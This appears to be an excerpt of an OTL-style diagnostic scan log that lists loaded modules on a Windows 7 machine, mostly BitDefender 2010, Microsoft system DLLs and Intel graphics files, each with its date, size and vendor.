MOD - [2012/11/11 22:34:51 | 000,034,304 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\antivirus.dll
MOD - [2012/11/11 22:34:42 | 000,137,216 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\imguimsn.dll
MOD - [2012/11/11 22:34:42 | 000,034,304 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdguictl.ui
MOD - [2012/11/11 22:34:39 | 000,408,064 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\privintf.dll
MOD - [2012/11/11 22:34:29 | 000,142,336 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\hmplugin.ui
MOD - [2012/11/11 22:34:27 | 000,174,080 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\quarui.dll
MOD - [2012/11/11 22:34:26 | 000,278,016 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\sysinfo.dll
MOD - [2012/11/11 22:34:24 | 000,037,888 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdplugin.dll
MOD - [2012/11/11 22:34:22 | 000,192,000 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdshellext.dll
MOD - [2012/11/11 22:34:13 | 000,134,656 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\imguiym.dll
MOD - [2012/11/11 22:34:08 | 000,074,240 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\txmlx.dll
MOD - [2012/11/11 22:34:07 | 000,033,280 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdch.dll
MOD - [2012/11/11 22:34:03 | 000,052,736 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\dbokfui.dll
MOD - [2012/11/11 22:33:50 | 000,060,416 | ---- | M] (BitDefender) -- C:\Program Files\BitDefender\BitDefender 2010\bdvedapi.dll
MOD - [2012/11/11 22:33:47 | 000,072,192 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\bdascl.ui
MOD - [2012/11/11 22:33:44 | 000,117,760 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\script.dll
MOD - [2012/11/11 22:33:44 | 000,027,136 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\general.dll
MOD - [2012/11/11 22:33:41 | 000,030,208 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdfvsecp.dll
MOD - [2012/11/11 22:33:40 | 000,058,880 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\bdwizard.dll
MOD - [2012/11/11 22:33:39 | 000,153,088 | ---- | M] (BitDefender S.R.L.) -- C:\Program Files\BitDefender\BitDefender 2010\FRA\issues.ui
MOD - [2012/11/06 02:20:52 | 000,875,472 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msvcr110.dll
MOD - [2012/11/06 02:20:52 | 000,535,008 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msvcp110.dll
MOD - [2012/11/05 15:30:06 | 000,050,744 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Common Files\microsoft shared\OFFICE14\MSOXEV.DLL
MOD - [2012/10/04 16:43:05 | 000,868,352 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\kernel32.dll
MOD - [2012/10/04 16:43:05 | 000,293,376 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\KernelBase.dll
MOD - [2012/10/03 16:42:26 | 000,052,224 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\nlaapi.dll
MOD - [2012/09/25 22:47:43 | 000,078,336 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\synceng.dll
MOD - [2012/07/04 21:16:56 | 000,057,344 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\netapi32.dll
MOD - [2012/04/21 04:21:01 | 001,625,088 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17825_none_72d273598668a06b\GdiPlus.dll
MOD - [2012/03/01 05:33:23 | 000,159,232 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\imagehlp.dll
MOD - [2011/12/16 07:52:58 | 000,690,688 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msvcrt.dll
MOD - [2011/11/17 05:35:02 | 000,314,880 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\webio.dll
MOD - [2011/08/27 04:26:27 | 000,233,472 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\oleacc.dll
MOD - [2011/03/11 05:33:59 | 001,137,664 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\mfc42.dll
MOD - [2011/03/03 05:38:01 | 000,270,336 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dnsapi.dll
MOD - [2010/11/20 12:21:39 | 000,051,712 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wscapi.dll
MOD - [2010/11/20 12:21:39 | 000,040,448 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wtsapi32.dll
MOD - [2010/11/20 12:21:39 | 000,036,352 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wshbth.dll
MOD - [2010/11/20 12:21:38 | 000,206,848 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ws2_32.dll
MOD - [2010/11/20 12:21:38 | 000,105,984 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\WPDShServiceObj.dll
MOD - [2010/11/20 12:21:36 | 000,351,232 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winhttp.dll
MOD - [2010/11/20 12:21:36 | 000,269,824 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\Wldap32.dll
MOD - [2010/11/20 12:21:36 | 000,194,048 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winmm.dll
MOD - [2010/11/20 12:21:36 | 000,156,672 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winsta.dll
MOD - [2010/11/20 12:21:36 | 000,047,104 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wkscli.dll
MOD - [2010/11/20 12:21:35 | 001,063,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\werconcpl.dll
MOD - [2010/11/20 12:21:35 | 000,381,440 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wer.dll
MOD - [2010/11/20 12:21:34 | 001,128,448 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\vssapi.dll
MOD - [2010/11/20 12:21:34 | 000,363,008 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wbemcomn.dll
MOD - [2010/11/20 12:21:33 | 000,811,520 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\user32.dll
MOD - [2010/11/20 12:21:33 | 000,081,920 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\userenv.dll
MOD - [2010/11/20 12:21:32 | 000,146,432 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\twext.dll
MOD - [2010/11/20 12:21:30 | 000,082,944 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\thumbcache.dll
MOD - [2010/11/20 12:21:28 | 000,505,856 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\taskschd.dll
MOD - [2010/11/20 12:21:27 | 002,146,304 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\SyncCenter.dll
MOD - [2010/11/20 12:21:27 | 000,380,416 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\sxs.dll
MOD - [2010/11/20 12:21:27 | 000,363,520 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\StructuredQuery.dll
MOD - [2010/11/20 12:21:27 | 000,159,232 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\syncui.dll
MOD - [2010/11/20 12:21:26 | 000,228,352 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\stobject.dll
MOD - [2010/11/20 12:21:26 | 000,090,112 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\srvcli.dll
MOD - [2010/11/20 12:21:25 | 000,301,568 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\srchadmin.dll
MOD - [2010/11/20 12:21:24 | 000,172,544 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\spp.dll
MOD - [2010/11/20 12:21:23 | 000,220,160 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\SndVolSSO.dll
MOD - [2010/11/20 12:21:19 | 000,350,208 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\shlwapi.dll
MOD - [2010/11/20 12:21:15 | 000,108,032 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\shacct.dll
MOD - [2010/11/20 12:21:14 | 001,667,584 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\setupapi.dll
MOD - [2010/11/20 12:21:04 | 000,051,200 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\samcli.dll
MOD - [2010/11/20 12:21:03 | 000,046,080 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\RpcRtRemote.dll
MOD - [2010/11/20 12:21:03 | 000,037,376 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\rtutils.dll
MOD - [2010/11/20 12:21:00 | 000,080,896 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\QUTIL.DLL
MOD - [2010/11/20 12:20:57 | 000,988,160 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\propsys.dll
MOD - [2010/11/20 12:20:57 | 000,171,520 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\QAGENT.DLL
MOD - [2010/11/20 12:20:57 | 000,165,376 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\provsvc.dll
MOD - [2010/11/20 12:20:56 | 000,395,264 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\prnfldr.dll
MOD - [2010/11/20 12:20:55 | 001,750,528 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\pnidui.dll
MOD - [2010/11/20 12:20:55 | 000,547,840 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\PortableDeviceApi.dll
MOD - [2010/11/20 12:20:51 | 000,236,544 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\pdh.dll
MOD - [2010/11/20 12:20:49 | 001,414,144 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ole32.dll
MOD - [2010/11/20 12:20:49 | 000,090,112 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\olepro32.dll
MOD - [2010/11/20 12:20:48 | 000,573,440 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\odbc32.dll
MOD - [2010/11/20 12:20:46 | 000,442,880 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ntshrui.dll
MOD - [2010/11/20 12:20:46 | 000,069,120 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ntlanman.dll
MOD - [2010/11/20 12:20:29 | 002,494,464 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\netshell.dll
MOD - [2010/11/20 12:20:29 | 001,661,440 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\networkexplorer.dll
MOD - [2010/11/20 12:20:29 | 000,022,528 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\netutils.dll
MOD - [2010/11/20 12:19:54 | 000,167,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msutb.dll
MOD - [2010/11/20 12:19:48 | 002,341,376 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msi.dll
MOD - [2010/11/20 12:19:47 | 000,592,384 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msftedit.dll
MOD - [2010/11/20 12:19:46 | 000,030,720 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msdmo.dll
MOD - [2010/11/20 12:19:45 | 000,481,792 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\mscms.dll
MOD - [2010/11/20 12:19:45 | 000,034,304 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msasn1.dll
MOD - [2010/11/20 12:19:39 | 000,213,504 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\MMDevAPI.dll
MOD - [2010/11/20 12:19:23 | 000,103,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\IPHLPAPI.DLL
MOD - [2010/11/20 12:19:22 | 000,118,272 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\imm32.dll
MOD - [2010/11/20 12:19:21 | 000,392,192 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\imapi2.dll
MOD - [2010/11/20 12:19:10 | 000,312,832 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\hgcpl.dll
MOD - [2010/11/20 12:19:10 | 000,022,528 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\HotStartUserAgent.dll
MOD - [2010/11/20 12:19:05 | 002,576,384 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\gameux.dll
MOD - [2010/11/20 12:19:03 | 000,206,336 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\framedynos.dll
MOD - [2010/11/20 12:19:02 | 000,606,208 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wbem\fastprox.dll
MOD - [2010/11/20 12:19:01 | 001,493,504 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ExplorerFrame.dll
MOD - [2010/11/20 12:18:36 | 000,508,416 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dxgi.dll
MOD - [2010/11/20 12:18:36 | 000,399,872 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\DXP.dll
MOD - [2010/11/20 12:18:35 | 001,371,136 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dwmcore.dll
MOD - [2010/11/20 12:18:35 | 000,097,280 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dwmredir.dll
MOD - [2010/11/20 12:18:27 | 000,854,016 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dbghelp.dll
MOD - [2010/11/20 12:18:25 | 001,828,352 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\d3d9.dll
MOD - [2010/11/20 12:18:25 | 001,003,520 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cryptui.dll
MOD - [2010/11/20 12:18:25 | 000,418,816 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cscui.dll
MOD - [2010/11/20 12:18:25 | 000,219,136 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\d3d10_1core.dll
MOD - [2010/11/20 12:18:25 | 000,139,264 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cscobj.dll
MOD - [2010/11/20 12:18:25 | 000,034,816 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cscapi.dll
MOD - [2010/11/20 12:18:25 | 000,023,040 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cscdll.dll
MOD - [2010/11/20 12:18:24 | 000,168,960 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\credui.dll
MOD - [2010/11/20 12:18:23 | 000,485,888 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\comdlg32.dll
MOD - [2010/11/20 12:18:12 | 000,145,920 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\cfgmgr32.dll
MOD - [2010/11/20 12:18:06 | 000,740,864 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\batmeter.dll
MOD - [2010/11/20 12:18:03 | 000,295,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\apphelp.dll
MOD - [2010/11/20 12:18:01 | 000,744,448 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ActionCenter.dll
MOD - [2010/11/20 12:18:01 | 000,309,760 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\actxprxy.dll
MOD - [2010/11/20 12:17:47 | 000,049,152 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\taskhost.exe
MOD - [2010/11/20 12:17:09 | 002,616,320 | ---- | M] (Microsoft Corporation) -- C:\Windows\explorer.exe
MOD - [2010/11/20 12:16:52 | 000,193,536 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ksproxy.ax
MOD - [2010/11/20 12:16:52 | 000,107,008 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\Kswdmcap.ax
MOD - [2010/11/20 12:16:50 | 000,692,736 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\bthprops.cpl
MOD - [2010/11/20 12:16:50 | 000,478,720 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\timedate.cpl
MOD - [2010/11/20 12:16:50 | 000,320,000 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winspool.drv
MOD - [2010/11/20 12:16:50 | 000,172,032 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wdmaud.drv
MOD - [2010/11/20 11:55:09 | 001,680,896 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
MOD - [2010/11/05 01:53:44 | 000,653,136 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\msvcr90.dll
MOD - [2010/11/05 01:53:43 | 000,569,680 | ---- | M] (Microsoft Corporation) -- C:\Windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\msvcp90.dll
MOD - [2009/09/23 19:30:48 | 000,252,952 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxsrvc.exe
MOD - [2009/09/23 19:30:48 | 000,173,592 | ---- | M] (Intel Corporation) -- C:\Windows\System32\hkcmd.exe
MOD - [2009/09/23 19:30:48 | 000,150,552 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxpers.exe
MOD - [2009/09/23 19:30:48 | 000,141,848 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxtray.exe
MOD - [2009/09/23 19:18:08 | 003,829,760 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igdumd32.dll
MOD - [2009/09/23 19:14:54 | 000,536,576 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igdumdx32.dll
MOD - [2009/09/23 19:09:58 | 002,551,808 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igd10umd32.dll
MOD - [2009/09/23 18:52:12 | 000,303,616 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxrfra.lrc
MOD - [2009/09/23 18:49:42 | 000,199,680 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxpph.dll
MOD - [2009/09/23 18:49:24 | 000,051,712 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxsrvc.dll
MOD - [2009/09/23 18:49:04 | 000,094,208 | ---- | M] (Intel Corporation) -- C:\Windows\System32\hccutils.dll
MOD - [2009/09/23 18:49:00 | 000,218,112 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxdev.dll
MOD - [2009/09/23 18:48:52 | 005,702,656 | ---- | M] (Intel Corporation) -- C:\Windows\System32\igfxress.dll
MOD - [2009/08/16 17:06:02 | 000,141,312 | ---- | M] () -- C:\Program Files\WinRAR\RarExt.dll
MOD - [2009/07/14 01:17:54 | 000,249,680 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\bcryptprimitives.dll
MOD - [2009/07/14 01:17:54 | 000,242,936 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\rsaenh.dll
MOD - [2009/07/14 01:16:21 | 000,284,672 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\WWanAPI.dll
MOD - [2009/07/14 01:16:21 | 000,180,224 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\xmllite.dll
MOD - [2009/07/14 01:16:21 | 000,027,648 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wwapi.dll
MOD - [2009/07/14 01:16:20 | 000,308,736 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\Wpc.dll
MOD - [2009/07/14 01:16:20 | 000,095,744 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wscinterop.dll
MOD - [2009/07/14 01:16:20 | 000,013,824 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wshqos.dll
MOD - [2009/07/14 01:16:20 | 000,010,752 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wship6.dll
MOD - [2009/07/14 01:16:20 | 000,009,216 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\WSHTCPIP.DLL
MOD - [2009/07/14 01:16:19 | 000,081,408 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wlanapi.dll
MOD - [2009/07/14 01:16:19 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winrnr.dll
MOD - [2009/07/14 01:16:19 | 000,016,896 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\winnsi.dll
MOD - [2009/07/14 01:16:19 | 000,008,192 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wlanutil.dll
MOD - [2009/07/14 01:16:18 | 000,262,144 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wevtapi.dll
MOD - [2009/07/14 01:16:18 | 000,061,440 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wercplsupport.dll
MOD - [2009/07/14 01:16:17 | 000,249,856 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\uxtheme.dll
MOD - [2009/07/14 01:16:17 | 000,099,328 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\UIAnimation.dll
MOD - [2009/07/14 01:16:17 | 000,056,320 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\vsstrace.dll
MOD - [2009/07/14 01:16:17 | 000,047,616 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wbem\wbemsvc.dll
MOD - [2009/07/14 01:16:17 | 000,029,184 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\wbem\wbemprox.dll
MOD - [2009/07/14 01:16:17 | 000,021,504 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\version.dll
MOD - [2009/07/14 01:16:16 | 000,239,616 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\uDWM.dll
MOD - [2009/07/14 01:16:15 | 000,055,296 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\Syncreg.dll
MOD - [2009/07/14 01:16:15 | 000,043,008 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\srclient.dll
MOD - [2009/07/14 01:16:15 | 000,027,136 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\slc.dll
MOD - [2009/07/14 01:16:13 | 000,092,160 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\sechost.dll
MOD - [2009/07/14 01:16:13 | 000,082,944 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Windows Sidebar\sbdrop.dll
MOD - [2009/07/14 01:16:13 | 000,060,928 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\samlib.dll
MOD - [2009/07/14 01:16:13 | 000,010,752 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\SensApi.dll
MOD - [2009/07/14 01:16:12 | 000,325,120 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\rasapi32.dll
MOD - [2009/07/14 01:16:12 | 000,159,744 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\PortableDeviceTypes.dll
MOD - [2009/07/14 01:16:12 | 000,145,408 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\powrprof.dll
MOD - [2009/07/14 01:16:12 | 000,077,312 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\PlaySndSrv.dll
MOD - [2009/07/14 01:16:12 | 000,076,800 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\rasman.dll
MOD - [2009/07/14 01:16:12 | 000,065,024 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\pnrpnsp.dll
MOD - [2009/07/14 01:16:12 | 000,031,744 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\profapi.dll
MOD - [2009/07/14 01:16:12 | 000,011,776 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\rasadhlp.dll
MOD - [2009/07/14 01:16:12 | 000,006,144 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\psapi.dll
MOD - [2009/07/14 01:16:11 | 000,121,856 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ntmarta.dll
MOD - [2009/07/14 01:16:11 | 000,090,112 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ntdsapi.dll
MOD - [2009/07/14 01:16:11 | 000,016,896 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\npmproxy.dll
MOD - [2009/07/14 01:16:11 | 000,008,704 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\nsi.dll
MOD - [2009/07/14 01:16:03 | 000,360,448 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\netprofm.dll
MOD - [2009/07/14 01:16:02 | 000,052,224 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\NapiNSP.dll
MOD - [2009/07/14 01:15:48 | 000,035,328 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\mssprxy.dll
MOD - [2009/07/14 01:15:45 | 000,157,184 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msls31.dll
MOD - [2009/07/14 01:15:44 | 000,015,872 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msiltcfg.dll
MOD - [2009/07/14 01:15:44 | 000,004,608 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msimg32.dll
MOD - [2009/07/14 01:15:43 | 000,828,928 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msctf.dll
MOD - [2009/07/14 01:15:43 | 000,019,968 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\MsCtfMonitor.dll
MOD - [2009/07/14 01:15:42 | 000,072,192 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\msacm32.dll
MOD - [2009/07/14 01:15:41 | 000,064,000 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\mpr.dll
MOD - [2009/07/14 01:15:41 | 000,054,784 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Windows Defender\MpOAV.dll
MOD - [2009/07/14 01:15:40 | 000,177,664 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\mlang.dll
MOD - [2009/07/14 01:15:40 | 000,016,896 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\midimap.dll
MOD - [2009/07/14 01:15:36 | 000,022,016 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\linkinfo.dll
MOD - [2009/07/14 01:15:35 | 000,004,608 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\ksuser.dll
MOD - [2009/07/14 01:15:27 | 000,009,728 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\IconCodecService.dll
MOD - [2009/07/14 01:15:24 | 000,026,112 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\hcproviders.dll
MOD - [2009/07/14 01:15:24 | 000,022,016 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\hid.dll
MOD - [2009/07/14 01:15:22 | 000,848,384 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\FXSST.dll
MOD - [2009/07/14 01:15:22 | 000,079,872 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\gpapi.dll
MOD - [2009/07/14 01:15:21 | 000,227,328 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\FXSAPI.dll
MOD - [2009/07/14 01:15:19 | 000,271,360 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\es.dll
MOD - [2009/07/14 01:15:14 | 000,189,952 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\EhStorShell.dll
MOD - [2009/07/14 01:15:14 | 000,020,992 | ---- | M] (Microsoft Corporation) -- C:\Windows\ehome\ehSSO.dll
MOD - [2009/07/14 01:15:13 | 000,717,824 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dui70.dll
MOD - [2009/07/14 01:15:13 | 000,181,248 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\duser.dll
MOD - [2009/07/14 01:15:13 | 000,067,072 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dwmapi.dll
MOD - [2009/07/14 01:15:13 | 000,022,016 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dsrole.dll
MOD - [2009/07/14 01:15:13 | 000,018,944 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\drprov.dll
MOD - [2009/07/14 01:15:11 | 000,064,512 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\devobj.dll
MOD - [2009/07/14 01:15:11 | 000,061,952 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dhcpcsvc.dll
MOD - [2009/07/14 01:15:11 | 000,044,544 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\devrtl.dll
MOD - [2009/07/14 01:15:11 | 000,043,008 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dhcpcsvc6.dll
MOD - [2009/07/14 01:15:11 | 000,033,792 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\dimsjob.dll
MOD - [2009/07/14 01:15:10 | 000,066,560 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\devenum.dll
MOD - [2009/07/14 01:15:08 | 000,019,456 | ---- | M] (Microsoft Corporation) -- C:\Windows\System32\davhlpr.dll
